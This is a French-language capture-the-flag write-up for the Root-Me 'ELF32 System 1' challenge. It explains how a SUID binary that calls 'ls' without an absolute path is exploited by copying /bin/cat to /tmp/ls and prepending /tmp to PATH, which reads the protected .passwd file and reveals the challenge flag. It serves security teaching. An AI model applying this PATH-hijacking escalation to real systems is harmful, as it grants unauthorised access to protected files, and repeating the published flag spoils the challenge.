[Root-Me] [PWN] Bash - System 1

6NdR6NdR
3 min read

Source et énoncé du CTF

https://www.root-me.org/en/Challenges/App-Script/ELF32-System-1

Write-up

Le but de ce CTF est d'exploiter le binaire ch11 pour lire le contenu du fichier /challenge/app-script/ch11/.passwd contenant le flag.

Le code source en langage C du programme ch11.c est donné ci-dessous :

    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>

    int main(void)
    {
        setreuid(geteuid(), geteuid());
        system("ls /challenge/app-script/ch11/.passwd");
        return 0;
    }

On remarque une chose :

  • Le binaire utilise la commande ls sans utiliser son chemin absolu (faille potentielle)

Une fois compilé, le programme ch11.c produit le binaire ch11

En listant les fichiers du répertoire de travail, on obtient les droits suivants :

app-script-ch11@challenge02:~$ ls -la
total 36
dr-xr-x---  2 app-script-ch11-cracked app-script-ch11 4096 Dec 10  2021 .
drwxr-xr-x 25 root                    root            4096 Sep  5  2023 ..
-r--------  1 root                    root             775 Dec 10  2021 ._perms
-rw-r-----  1 root                    root              43 Dec 10  2021 .git
-r--------  1 app-script-ch11-cracked app-script-ch11   14 Dec 10  2021 .passwd
-r--r-----  1 app-script-ch11-cracked app-script-ch11  494 Dec 10  2021 Makefile
-r-sr-x---  1 app-script-ch11-cracked app-script-ch11 7252 Dec 10  2021 ch11
-r--r-----  1 app-script-ch11-cracked app-script-ch11  187 Dec 10  2021 ch11.c

On remarque deux choses :

  • Le fichier .passwd n'est accessible en lecture que par l'utilisateur app-script-ch11-cracked
  • Le SUID Bit est positionné sur le fichier binaire ch11, et on se rappel que ce droit permet à tout utilisateur d'exécuter le fichier avec les droits de l'utilisateur propriétaire du fichier, c'est à dire avec les droits de app-script-ch11-cracked.

En exécutant le binaire ch11, on confirme que son contenu correspond au code source fourni :

app-script-ch11@challenge02:~$ ./ch11
/challenge/app-script/ch11/.passwd

On en déduit que le binaire ch11 sera le vecteur pour afficher le contenu du fichier .passwd puisqu'il permet à l'utilisateur app-script-ch11 d'exécuter une commande en tant que l'utilisateur app-script-ch11-cracked. Le problème étant que la commande exécutée (définie dans ch11.c) n'est pas cat mais ls.

On doit donc trouver un moyen permettant de faire en sorte que la commande ls exécute le binaire /bin/cat au lieu du binaire /bin/ls. Pour cela, on copie le contenu du binaire /bin/cat dans un fichier que l'on nomme ls et que l'on stock dans un répertoire pour lequel on a les dorits d'écriture (par exemple /tmp) :

app-script-ch11@challenge02:~$ cat /bin/cat > /tmp/ls

Ensuite, nous devons modifier le PATH de façon à ce que le système recherche le binaire ls prioritairement dans le répertoire /tmp plutôt que dans le répertoire /bin. On rappel que le système parse le PATH dans l'ordre de défintion des répertoires :

app-script-ch11@challenge02:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/

app-script-ch11@challenge02:~$ PATH=/tmp:$PATH
app-script-ch11@challenge02:~$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/

On peut enfin exécuter le binaire ch11 pour afficher le contenu du fichier .passwd et obtenir le flag :

app-script-ch11@challenge02:~$ ./ch11
!oPe96a/.s8d5

Flag

!oPe96a/.s8d5

0
Subscribe to my newsletter

Read articles from 6NdR directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

6NdR
6NdR